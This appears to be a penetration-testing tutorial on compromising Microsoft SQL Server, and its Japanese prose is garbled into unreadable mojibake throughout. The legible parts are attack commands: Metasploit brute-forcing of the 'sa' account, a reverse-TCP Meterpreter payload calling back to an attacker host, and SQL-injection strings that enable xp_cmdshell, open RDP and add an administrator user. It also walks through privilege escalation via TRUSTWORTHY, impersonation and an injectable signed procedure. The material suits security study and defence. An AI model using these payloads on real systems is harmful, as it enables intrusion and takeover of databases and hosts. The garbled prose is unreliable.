DBMSã確èªããªããšãæ·±å»ãªãã³ãã¹ããè¡ãããšã¯ã»ãšãã©ã§ããŸãããããã¯ãç®çã®æ å ±ããã·ã³ãžã®æ»æè ã«ãšã£ãŠæã人æ°ã®ãããã¢ã®1ã€ã ããã§ãã 倧èŠæš¡ãªãããžã§ã¯ãã§ã¯ãMS SQL Serverã¯å€ãã®å ŽåDBMSãšããŠäœ¿çšãããŸãã ãããŠä»æ¥ã¯ããã®å®å šæ§ã®æ€èšŒã«ã€ããŠã話ããŸãã ç§ãã¡ã¯ã¢ã¡ãªã«ãçºèŠããŸãã-çµéšè±å¯ãªä»²éã¯ç¥èãæŽæ°ããã ãã§ããããããã¯ããã¹ã¿ãŒãå§ããã°ããã®äººã®ããã«ãã§ããã ã詳现ã«ãã¹ãŠãæŽçããããšããŸããã
ã¯ããã«
æ å ±ã·ã¹ãã ã®ä¿¡é Œæ§ã«é¢ããæãéèŠãªåºæºã®1ã€ã¯ãDBMSã»ãã¥ãªãã£ã§ãã ããã«åããããæ»æã¯ãã·ã¹ãã ã®ããã©ãŒãã³ã¹ãéšåçãŸãã¯å®å šã«æ··ä¹±ãããå¯èœæ§ããããããã»ãšãã©ã®å Žåã«éèŠã§ãã 倧èŠæš¡ãªçµç¹ã¯ããªãåã«ã€ã³ãã©ã¹ãã©ã¯ãã£ã圢æããæ°ãããœãããŠã§ã¢ããŒãžã§ã³ã«æŽæ°ãããšã倧ããªãåé¡ãçºçãããããæãäžè¬çãªããŒãžã§ã³ã¯MS SQL Server 2005ããã³MS SQL Server 2008ã®ãŸãŸã§ãããã¹ãŠã®ããŒãžã§ã³ã«å ±éã®ãã¯ãã«ãšææ³ãæ€èšããŠãã ããã 䟿å®äžããã³ãã¹ãããã»ã¹å šäœãæ¡ä»¶ä»ãã§ããã€ãã®æ®µéã«åå²ããŸãã
MS SQLãèŠã€ããæ¹æ³
ãã³ã¿ã¹ã¿ãŒãæåã«è¡ãããšã¯ã被害è ã®ãµãŒããŒã«ãããµãŒãã¹ã«é¢ããæ å ±ãåéããããšã§ãã Microsoft SQL Serverãæ€çŽ¢ããããã«ç¥ã£ãŠããå¿ èŠãããæãéèŠãªããšã¯ããªãã¹ã³ããããŒãçªå·ã§ãã ãŸããããŒã1433ïŒTCPïŒããã³1434ïŒUDPïŒããªãã¹ã³ããŸãã 被害è ã®ãµãŒããŒã§MS SQLã䜿çšå¯èœãã©ããã確èªããã«ã¯ãã¹ãã£ã³ããå¿ èŠããããŸãã ãããè¡ãã«ã¯ã `ms-sql-info`ã¹ã¯ãªããã§Nmapã䜿çšã§ããŸãã ã¹ãã£ã³ã¯æ¬¡ã®ããã«éå§ãããŸãã
nmap -p 1433 --script=ms-sql-info 192.168.18.128
ããŠããã®å®è£ ã®çµæã¯å³ã«ç€ºãããŠããŸãã 1ã
å³ 1.Nmapã䜿çšããMS SQLã®ã¹ãã£ã³
Nmapã«å ããŠãMetasploitã®åªããã¹ãã£ã³ã¢ãžã¥ãŒã«ãmssql_pingãããããæ»æããããµãŒããŒäžã®MS SQLã®ååšãå€æããããšãã§ããŸãã
msf> use auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > run
å³ 2. mssql_pingã䜿çšããMS SQLã®ã¹ãã£ã³
ãããã®ãªãã·ã§ã³ã®ããããã䜿çšããŠãMS SQLããµãŒããŒã«ã€ã³ã¹ããŒã«ãããŠãããã©ããããã°ããå€æãããã®ããŒãžã§ã³ã確èªããããšãã§ããŸãã ãã®åŸã次ã®æé ã«é²ãããšãã§ããŸãã
ãã«ãŒããã©ãŒã¹
ãµãŒããŒã§DBMSãèŠã€ãããšããŸãããã ããã§ã®ã¿ã¹ã¯ã¯ãããã«ã¢ã¯ã»ã¹ããããšã§ãã ãããŠããã§ãèªèšŒãšãã圢ã§ã®æåã®é害ã«ééããŸãã äžè¬ã«ãMS SQLã¯2çš®é¡ã®èªèšŒããµããŒãããŠããŸãã
- WindowsèªèšŒã¯ããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã¬ãã«ã§æ¢ã«æ€èšŒãããŠããããšãåæãšããŠãSQL ServerããŠãŒã¶ãŒã¢ã«ãŠã³ããåãå ¥ããä¿¡é Œãããæ¥ç¶ã§ãã
- æ··åã¢ãŒã-SQL Server + WindowsèªèšŒã䜿çšããèªèšŒã
ããã©ã«ãã§ã¯ãæåã®èªèšŒã¢ãŒãã䜿çšãããæ··åã¢ãŒãã¯åå¥ã«ã¢ã¯ãã£ãåãããŸãã å®éã«ã¯ãæ··åã¢ãŒããªãã§ããŒã¹ãæºããããšã¯éåžžã«å°é£ã§ã-ããæè»ã§ãã
æ··åã¢ãŒãã®ããã€ãã®å©ç¹
- SQL Serverãå€ãã¢ããªã±ãŒã·ã§ã³ãšãSQL ServerèªèšŒãå¿ èŠãšãããµãŒãããŒãã£ã¢ããªã±ãŒã·ã§ã³ããµããŒãã§ããããã«ããŸãã
- SQL ServerãããŠãŒã¶ãŒãWindowsãã¡ã€ã³ã§èªèšŒãããªãè€æ°ã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®ç°å¢ããµããŒãã§ããããã«ããŸãã
- ãœãããŠã§ã¢éçºè ã¯ãæ¢ç¥ã®äºåå®çŸ©ãããSQL Serverãã°ã€ã³ã«åºã¥ããŠãæŽç·Žãããã¢ã¯ã»ã¹èš±å¯éå±€ã䜿çšããŠã¢ããªã±ãŒã·ã§ã³ãé åžã§ããŸãã
éåžžããã®æ®µéã§ã¯äŒæ¥ãããã¯ãŒã¯ã«ã¢ã¯ã»ã¹ã§ããªããããWindowsãä»ããèªèšŒã䜿çšã§ããŸããã ããããMS SQLã§éããŠããããŒããèŠã€ãã£ããããæ··åã¢ãŒãã®æšæºã§ãããsaã管çè ã¢ã«ãŠã³ããåé€ããããšããŠããŸãã ããã»ã¹ãèªååããã«ã¯ãMetasploitã¢ãžã¥ãŒã« `mssql_login`ã䜿çšããŸãã
msf > use auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssql_login) > set PASS_FILE /root/Desktop/pass.txt [*] 172.16.2.104:1433 - MSSQL - Starting authentication scanner. [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:admin (Incorrect: ) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:qwerty (Incorrect: ) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:toor (Incorrect: ) [+] 172.16.2.104:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:root [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
ãããïŒ ãã¹ã¯ãŒããèŠã€ãããŸããã次ã®ã¹ãããã«é²ã¿ãŸãã ãããããµãŒããŒã«ãsaãã¢ã«ãŠã³ãã衚瀺ãããªãå Žåã¯ã©ãã§ããããïŒ æ¬¡ã«ããã°ã€ã³ããã«ãŒãããå¿ èŠããããŸãããã®ãããã¹ã¯ãªããã«ããããååŸãããã¡ã€ã«ããã1ã€ç€ºãå¿ èŠããããŸãã
msf auxiliary(mssql_login) > set USER_FILE /root/Desktop/user.txt
WWW
ããŸããŸãªãã«ãŒããã©ãŒã¹èŸæžãããã«ãããŸã ã
ã·ã§ã«ãå ¥æãã
ãsaãã¢ã«ãŠã³ãã®åé€ã«æåããå Žåã¯ãããŒã¿ããŒã¹ã«ãã°ã€ã³ã§ããŸãã 次ã«ãã·ããªãªã¯ç°¡åã§ãããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã¬ãã«ã§ã³ãã³ããå®è¡ããMeterpreterã·ã§ã«ãµãŒããŒã«ã¢ããããŒãã§ããããã«ããã¹ãã¢ãããã·ãŒãžã£ãå«ããŸãã ã¯ãŒã«ãªé£äžã¯Metasploitçšã®çŽ æŽãããã¢ãžã¥ãŒã« `mssql_payload`ãæžããŠããã®ããã»ã¹ãèªååããŸããïŒ
msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set RHOST 172.16.2.104 msf exploit(mssql_payload) > set USERNAME sa USERNAME => sa msf exploit(mssql_payload) > set PASSWORD root PASSWORD => root msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > set LHOST 172.16.2.105 LHOST => 172.16.2.105 [*] Command Stager progress - 100.00% done (102246/102246 bytes) [*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500 meterpreter >
Meterpreterã»ãã·ã§ã³ãäœæãããŸãããããã§ããã«ã¢ã¯ã»ã¹ãå¯èœã«ãªããŸããã 管çããã·ã¥ããã³ãããããã¹ã¯ãªãŒã³ã·ã§ãããæ®ã£ããããã¡ã€ã«ãäœæ/åé€ããããããŠã¹ãããŒããŒãããªã³/ãªããããã§ããŸãã ãããããããã¯äŸµå ¥ãã¹ãã§äœ¿çšãããæã人æ°ã®ããã·ã§ã«ã§ãã Meterpreterã®ã³ãã³ãã®å®å šãªãªã¹ãã¯ã ããã«ãããŸã ã
ãŠãŒã¶ãŒå/ãã¹ã¯ãŒãã倱ãããŠããªãå Žåã¯ã©ãããã°ããã§ããïŒ
ããããèªåãflatããªãã§ãã ããã`mssql_login`ã¢ãžã¥ãŒã«ãããªããåã°ããããšã¯ããŸããããŸããïŒç®¡çè ãããã©ã«ãã®ãã¹ã¯ãŒããæ®ãããšã¯ã»ãšãã©ãããŸããã ãã®å ŽåãSQLã€ã³ãžã§ã¯ã·ã§ã³ã¯ã·ã§ã«ãååŸããã®ã«åœ¹ç«ã¡ãŸãã ãŠãŒã¶ãŒãèšäºçªå·ãšåçŽãªè匱ãªããŒã¿ããŒã¹ãžã®ã¯ãšãªãå ¥åããHTMLãã©ãŒã ãæ³åããŠãã ããããããã¯ãã¹ãŠãsaã管çè ã¢ã«ãŠã³ãã§æ©èœããŸãã
$strSQL = âSELECT * FROM [dbo].[articles] WHERE id=$idâ;
å€æ°ã$ idãã¯ã©ã®ãããªæ¹æ³ã§ããã£ã«ã¿ãªã³ã°ãããŸãããã€ãŸãããsaãã®ç®¡çè ã¢ã«ãŠã³ãã§ã¯ãšãªãå®è¡ããSQLã€ã³ãžã§ã¯ã·ã§ã³ãå®è¡ã§ããŸãã ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã¬ãã«ã§ã³ãã³ããå®è¡ããã«ã¯ãããã©ã«ãã§ãªãã«ãªã£ãŠããã¹ãã¢ãããã·ãŒãžã£ `xp_cmdshell`ãæå¹ã«ããå¿ èŠããããŸãã æå¹ã«ããã«ã¯ã4ã€ã®ãªã¯ãšã¹ããéä¿¡ããå¿ èŠããããŸãã
- `10; EXEC sp_configure 'show advanced options'ã1; `
- `10; åæ§æ; `
- `10; 'exec sp_configure' xp_cmdshell 'ã1; `
- `10; åæ§æãã `
sp_configureã·ã¹ãã ã¹ãã¢ãããã·ãŒãžã£ã䜿çšãããšããµãŒããŒæ§æã衚瀺ãææžåãå€æŽãããã³åŸ©å ã§ããŸãã ãµãŒããŒã«ã¢ã¯ã»ã¹ããæãç°¡åãªæ¹æ³ã¯ãã¬ãžã¹ããªãä»ããŠRDPãæå¹ã«ãã管çè æš©éãæã€ãŠãŒã¶ãŒãäœæããŠæ¥ç¶ããããšã§ãã
RDPããªã³ã«ããŸãã
10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
ãŠãŒã¶ãŒãäœæããŸãã
10; exec master.dbo.xp_cmdshell 'net user root toor /ADD'
ç§ãã¡ã¯æš©å©ãäžããŸãïŒ
10;exec master.dbo.xp_cmdshell 'net localgroup administrators root/add'
ç¹æš©ã®ææ Œã ä¿¡é Œã§ãã
åã®ã±ãŒã¹ã§ã¯ãããŒã¿ããŒã¹ãžã®èŠæ±ã¯ç®¡çè ã®ååããæ¥ãŠããããããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®ã³ãã³ããå®è¡ããã®ã¯éåžžã«ç°¡åã§ããã ãããã `xp_cmdshell`ãæå¹ã«ããæš©éãæããªãåé€ãããã¢ã«ãŠã³ããããå Žåã¯ã©ãã§ããããã ãã®å Žåãã¹ãã¢ãããã·ãŒãžã£ãšããŒã¿ããŒã¹ã®ã¢ã¯ãã£ãåããããTRUSTWORTHYãããããã£ã圹ç«ã¡ãŸãã
ããããæåããå§ããŸãããã ãã®ãã¯ãã«ãããæ確ã«ããããã«ãããŒã¿ããŒã¹ãšã¢ã«ãŠã³ãã®æ§æ段éã§ãã£ãŠãã段éå šäœã説æããŸãã æ°ããããŒã¹ `YOLO`ãäœæããŸãïŒ` CREATE DATABASE YOLO; `ã ãã¹ã¯ãŒã `marley`ã§æ°ãããŠãŒã¶ãŒ` bob`ãäœæããŸãïŒ `CREATE LOGIN bob WITH PASSWORD = 'marley';`ãŠãŒã¶ãŒ `bob`ãããŒã¹ã®ææè ãšããŠå²ãåœãŠãŸãYOLO`ïŒ
USE YOLO ALTER LOGIN [bob] with default_database = [YOLO]; CREATE USER [bob] FROM LOGIN [bob]; EXEC sp_addrolemember [db_owner], [bob];
次ã«ããã®ããŒã¿ããŒã¹ã®ãªããžã§ã¯ãïŒãã¥ãŒããŠãŒã¶ãŒå®çŸ©é¢æ°ãã¹ãã¢ãããã·ãŒãžã£ïŒãåœè£ ã¢ãŒãã§ãã®ããŒã¿ããŒã¹å€ã®ãªããžã§ã¯ãã«ã¢ã¯ã»ã¹ã§ããããã«ãããã©ããã決å®ãããTRUSTWORTHYãããããã£ãèšå®ããŸãïŒãALTER DATABASE YOLO SET TRUSTWORTHY ONãã `bobïŒmarley`ã¢ã«ãŠã³ãã§SQL Serverã«ãã°ã€ã³ããŸãã
sysadminç¹æš©ãbobã¢ã«ãŠã³ãã«å²ãåœãŠãããã®ã¹ãã¢ãããã·ãŒãžã£ãäœæããŸãã
USE YOLO GO CREATE PROCEDURE sp_lvlup WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'bob','sysadmin' GO
ã¹ãã¢ãããã·ãŒãžã£ãå®è¡ããåã«ãsysadminç¹æš©ããªãããšã確èªããŠãã ããã
SELECT is_srvrolemember('sysadmin') = 0
äžèšã§äœæããã¹ãã¢ãããã·ãŒãžã£ `sp_lvlup`ãå®è¡ããŸãã
USE YOLO EXEC sp_lvlup
ãããŠåã³ãç¹æš©ã確èªããŸãã
SELECT is_srvrolemember('sysadmin') = 1
ããã·ãŒãžã£ `sp_lvlup`ã¯ã` OWNER`ã®ä»£ããã«å®è¡ããããã«äœæãããŸããããã®å Žåã¯ã管çè ã¢ã«ãŠã³ã `sa`ã§ãã ããã¯ã `db_owner`ãããŒã¿ããŒã¹çšã®ã¹ãã¢ãããã·ãŒãžã£ãäœæãããã®ããŒã¿ããŒã¹ãä¿¡é Œã§ãããã€ãŸãããããã£` TRUSTWORTHY = On`ãšããŠèšå®ãããŠããããã«å¯èœã§ãã ãã®ããããã£ããªããšãç¹æš©ãäžè¶³ããŠãããããæé ãå®äºã§ããŸããã§ããã ã¢ã¯ãã£ãåãããTRUSTWORTHYããããã£ã¯ãåžžã«æªãããã§ã¯ãããŸããã åé¡ã¯ã管çè ãããŒã¿ããŒã¹ææè ã®ç¹æš©ãäžããªããšãã«å§ãŸããŸãã ãã®çµæãsp_lvlupããã·ãŒãžã£ã®å®è¡åŸãbobã¢ã«ãŠã³ãã«ã¯sysadminç¹æš©ãå²ãåœãŠãããŸãã ãTRUSTWORTHYãããããã£ãã¢ã¯ãã£ãã«ãªã£ãŠããããŒã¿ããŒã¹ã確èªããã«ã¯ã次ã®ã¯ãšãªã䜿çšã§ããŸãã
SELECT name, database_id, is_trustworthy_on FROM sys.databases
ãŸãã¯ãããã»ã¹å šäœãèªååããã«ã¯ãMetasploitã®ã¢ãžã¥ãŒã«ãmssql_escalate_dbowner_sqliãã䜿çšã§ããŸãã
use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];-- exploit ... [+] 172.16.2.104:80 - Success! Bob is now a sysadmin!
ç¹æš©ã®ææ Œã ãŠãŒã¶ãŒã®ãªãããŸã
次ã®ãã¯ãã«ã¯ããŠãŒã¶ãŒåœè£ ãšåŒã°ããŸãã ã¹ãã¢ãããã·ãŒãžã£ã§ã¯ãã¢ããªã±ãŒã·ã§ã³ããŒã¿ããŒã¹ã®å€éšã«ããå€éšãªãœãŒã¹ãžã®ã¢ã¯ã»ã¹ãå¿ èŠã«ãªãå ŽåããããŸãã ãããå®è£ ããããã«ãéçºè ã¯ãIMPERSONATEãæš©éãšãEXECUTE ASãæ©èœã䜿çšããŠãå¥ã®ã¢ã«ãŠã³ãã«ä»£ãã£ãŠã¯ãšãªãå®è¡ã§ããããã«ããŸãã ããèªäœã¯è匱æ§ã§ã¯ãªããè匱ãªæ§æã§ãããç¹æš©ã®ãšã¹ã«ã¬ãŒã·ã§ã³ã«ã€ãªãããŸãã
åã®äŸã®ããã«ãæ§æ段éã§ãã¯ãã«ã®æ¬è³ªãåæãå§ããŸãã æåã«ã4ã€ã®ã¢ã«ãŠã³ããäœæããŸãã
CREATE LOGIN User1 WITH PASSWORD = 'secret'; CREATE LOGIN User2 WITH PASSWORD = 'secret'; CREATE LOGIN User3 WITH PASSWORD = 'secret'; CREATE LOGIN User4 WITH PASSWORD = 'secret';
次ã«ããŠãŒã¶ãŒã«ãsaãããUser2ãããUser3ãã«ä»£ãã£ãŠãªã¯ãšã¹ããå®è¡ãããUser1ãæš©éãä»äžããŸãã
USE master; GRANT IMPERSONATE ON LOGIN::sa to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1]; GO
`User1`ã¢ã«ãŠã³ãã§SQL Serverã«ãã°ã€ã³ããä»ã®ã¢ã«ãŠã³ãããã¯ãšãªãå®è¡ããç¹æš©ãé©çšãããŠãããã©ããã確èªããŸãã
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
次ã«ãçŸåšã®ç¹æš©ã確èªããŸãã
SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') = 0
ããŠãããªãã¯èªäœã¯ãsaãã«ä»£ãã£ãŠãªã¯ãšã¹ããå®è¡ããããšã§ããããã¯ãã¢ã«ãŠã³ããUser1ãã«ãsaãã«ä»£ãã£ãŠãªã¯ãšã¹ããå®è¡ããæš©éãäžããããã§ãã
EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') = 1
ãã¹ãŠãæŽããŸãããä»ã§ã¯ã `sa`ã®ä»£ããã«ã³ãã³ããå®è¡ã§ããŸããã€ãŸããã¹ãã¢ãããã·ãŒãžã£` xp_cmdshell`ãæå¹ã«ã§ããŸãã
EXEC sp_configure 'show advanced options',1 RECONFIGURE GO EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE GO
æ å ±
ããã©ã«ãã®sysadminã¢ã«ãŠã³ãã¯ãä»ã®ãŠãŒã¶ãŒã«ä»£ãã£ãŠãªã¯ãšã¹ããå®è¡ã§ããŸãã ã¯ãšãªã¯ããã¹ãŠã®ãŠãŒã¶ãŒã®ããŒãã«ã衚瀺ããã®ã«åœ¹ç«ã¡ãŸãïŒ `SELECT * FROM master.sys.sysusers WHERE islogin = 1`ã å¥ã®ã¢ã«ãŠã³ãã«ä»£ãã£ãŠãªã¯ãšã¹ããå®è¡ããã«ã¯ããEXECUTE AS LOGIN = 'AnyUser'ãã䜿çšããŸãã åã®ã¢ã«ãŠã³ãã«åã³æ»ãã«ã¯ãREVERTãªã¯ãšã¹ããå®è¡ããã ãã§ãã
ãããå šäœã®ããªãã¯ã§ãã èªååã®ããã«ããã€ãã®ããã«ãMetasploitã¢ãžã¥ãŒã« `mssql_escalate_executeas_sqli`ã䜿çšã§ããŸãïŒ
use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];-- exploit ... [+] 172.16.2.104:80 - Success! User1 is now a sysadmin!
ç¹æš©ã®ææ Œã 蚌ææžçœ²åä»ãã¹ãã¢ãããã·ãŒãžã£
ãã®ãã¯ãã«ãèšè¿°ããããã«ã蚌ææžã«ãã£ãŠçœ²åãããè匱ãªã¹ãã¢ãããã·ãŒãžã£ãäœæããŸãã åã®äŸãšã¯ç°ãªãããšã¹ã«ã¬ãŒã·ã§ã³ã«ã¯ç¹æš©ã¯å¿ èŠãããŸããã
- ãããã㣠`TRUSTWORTHY = On`;
- ãIMPERSONATEãæš©éãšãEXECUTE ASãæ©èœã
- å¥ã®ã¢ã«ãŠã³ãã«ä»£ãã£ãŠå®è¡ããããã® `WITH EXECUTE AS`ã¯ã©ã¹ãæã€ã¹ãã¢ãããã·ãŒãžã£ã®æ§æã
æå°éã®æš©éã§ã¢ã«ãŠã³ããäœæããŸãã
CREATE LOGIN tor WITH PASSWORD = 'loki'; GO -- Set login's default database ALTER LOGIN [tor] with default_database = [master]; GO
`TRUSTWORTHY`ããããã£ããªãã«ããŸãïŒ` ALTER DATABASE master SET TRUSTWORTHY OFF`ã ãããŠãåçŽãªã¹ãã¢ãããã·ãŒãžã£ãsp_xxxããäœæããŸãããã®ããã·ãŒãžã£ã¯ãããŒã¿ããŒã¹ãtempdbããšãŠãŒã¶ãŒãå ¥åããããŒã¿ããŒã¹ããåãnameããåºåããŸãã
USE MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO
ãã®åŸããMASTERãããŒã¹ã®æå·åããŒãäœæããŸãã
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'secret'; GO
ãããŠèšŒææžïŒ
CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = 'To sign the sp_xxx', EXPIRY_DATE = '2035-01-01'; GO
次ã®ã¹ãããã¯ã蚌ææž `sp_xxx`ãããŠãŒã¶ãŒåãäœæããããšã§ãïŒ
CREATE LOGIN sp_xxx_login FROM CERTIFICATE sp_xxx_cert
ãããŠãäœæãã蚌ææžã䜿çšããŠæé ã«çœ²åããŸãã
ADD SIGNATURE to sp_xxx BY CERTIFICATE sp_xxx_cert; GO
`sysadmin`ç¹æš©ããã°ã€ã³` sp_lvlup2`ã«å²ãåœãŠãŸãïŒ
EXEC master..sp_addsrvrolemember @loginame = N'sp_xxx_login', @rolename = N'sysadmin' GO
PUBLICã°ã«ãŒãã®ã¡ã³ããŒã«æé ãå®è¡ããæš©éãä»äžããŸãã
GRANT EXECUTE ON sp_xxx to PUBLIC
ãã®çµæãæå°éã®æš©éãæã€ãŠãŒã¶ãŒãtorããå ¥åãããããŒã¿ããŒã¹ã®ååã衚瀺ããã¹ãã¢ãããã·ãŒãžã£ãsp_xxxããäœæãã蚌ææžãsp_xxx_certããäœæããŠã¹ãã¢ãããã·ãŒãžã£ã§çœ²åãã蚌ææžãããã°ã€ã³ãsp_xxx_loginããäœæãããsysadminãã®æš©éãä»äžããŸãã`ã ããã§æºåéšåã¯çµãããŸããã `tor`ã¢ã«ãŠã³ãã§ãã°ã€ã³ããã¹ãã¢ãããã·ãŒãžã£ãåŒã³åºããŸãã
EXEC MASTER.dbo.sp_xxx 'master'
äºæ³ã©ãããæå®ããããŒã¿ããŒã¹ã®åå-ãmasterããšãtempdbããè¿ããŸãïŒå³3ãåç §ïŒã
å³ 3.ã¯ãšãªEXEC MASTER.dbo.sp_xxx 'master'ãå®è¡ããçµæ
ãEXEC MASTER.dbo.sp_sqli2 'master' '-' '' master 'ã®ã¿ãè¿ãããšãã圢åŒã®ã¯ãšãªïŒå³4ãåç §ïŒã
å³4 ã¯ãšãªEXEC MASTER.dbo.xxx 'master' '-'ãå®è¡ããçµæ
çŽ æŽãããã ããã¯ãã¹ãã¢ãããã·ãŒãžã£ãSQLã€ã³ãžã§ã¯ã·ã§ã³ã®å¯Ÿè±¡ã§ããããšãæå³ããŸãã 次ã®ã¯ãšãªã§ç¹æš©ã確èªããŸãã
EXEC MASTER.dbo.sp_xxx 'master'';SELECT is_srvrolemember(''sysadmin'')as priv_certsp--';
å³ 5.è匱ãªã¹ãã¢ãããã·ãŒãžã£ã䜿çšããŠæš©éã確èªãã
`priv_cersp = 1`ïŒå³5ãåç §ïŒã¯ãsysadminç¹æš©ãããããšãæå³ããŸãã ã³ãã³ã `EXEC master..xp_cmdshell 'whoami';`ãå®è¡ãããšã `tor`ã¢ã«ãŠã³ãã«ã¯æå°éã®æš©éãããããŸãããããã®ã¯ãšãªãSQLã€ã³ãžã§ã¯ã·ã§ã³ã«åã蟌ãŸããŠããå Žåããã¹ãŠãæ©èœããŸãïŒå³6ïŒã
å³6 ã·ã¹ãã ã§ã®ç¹æš©ã®ç¢ºèª
æãèå³æ·±ãããšã«ããã®ãããªããªãã¯ã¯ããŒãžã§ã³2005-2014ã§æ©èœããŸãã
ãããã«
ããããã¹ãŠã®ãã¯ãã«ã®éãã¯éåžžã«éèŠã§ãã å Žåã«ãã£ãŠã¯ãç®æšãéæããããã«ã `TRUSTWORTHY`ããããã£ã®å å«ãå¶éããããšãã§ããŸããããã«ããããã®ããŒã¿ããŒã¹ã®ãªãœãŒã¹ãå€éšã«ãããªããžã§ã¯ãã«äœ¿çšããŠãæš©éãå¢ããã¹ãã¢ãããã·ãŒãžã£ãäœæããã³å®è¡ã§ããŸãã ãIMPERSONATEãæš©éãšãEXECUTE ASãæ©èœãååšãããããä»ã®ã¢ã«ãŠã³ãã«ä»£ãã£ãŠã¹ãã¢ãããã·ãŒãžã£ãå®è¡ã§ããå Žæã§ããã3çªç®ã®ã±ãŒã¹ã§ã¯ãã¯ãšãªãæ³šå ¥ã§ããSQLã€ã³ãžã§ã¯ã·ã§ã³ãããããšãéèŠã§ãããå¥ã®ã¢ã«ãŠã³ãã«ä»£ãã£ãŠå®è¡ãããŸãã¬ã³ãŒãã ãã¥ã¢ã³ã¹ãšåŸ®åŠããå®å šã«ç解ããã«ã¯ãããŒã«ã«ãã·ã³ã§ãããã®ãã¯ãã«ã確èªããããšããå§ãããŸãã
ãã®èšäºã§ã¯ãMS SQL DBMSã®ãã¹ãŠã®æ»æãã¯ãã«ãç¶²çŸ çã«èª¬æããŠããããã§ã¯ãããŸããããã»ãã¥ãªãã£ã®è¡šé¢åæã«ã¯éåžžã«åœ¹ç«ã¡ãŸãã ãŸãã12æå·ã®Alexey Tyurinã«ãã[Easy Hack]ã»ã¯ã·ã§ã³ã®[ïŒïŒ191ïŒã§èª¬æãããŠãããDBãªã³ã¯ãä»ããå¥ã®ãããã³ã°ãã¯ã¿ãŒã«æ £ããããšããå§ãããŸãã ããã ãã§ããã泚æããã ãããããšãããããŸãã
2015幎4æããæåã«Hackerèªã«æ²èŒãããŸããã
æçš¿è Nikita "ir0n" Kelesisãããžã¿ã«ã»ãã¥ãªãã£ïŒ @nkelesis ãnikita.elkey @ gmail.comïŒ
ããã«ãŒã賌èªãã